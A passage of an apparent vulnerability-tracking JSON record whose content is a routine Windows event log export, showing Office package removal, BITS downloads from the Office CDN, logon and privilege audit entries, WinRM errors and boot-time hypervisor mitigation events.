deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12127", "author": {"login": "automation"}}, {"uuid": "48091ff2-1716-47c4-90e5-59aabe5d0047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:10:33.551077+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/ea7a2ba5bd2b594e36f0bfcb053af294", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations 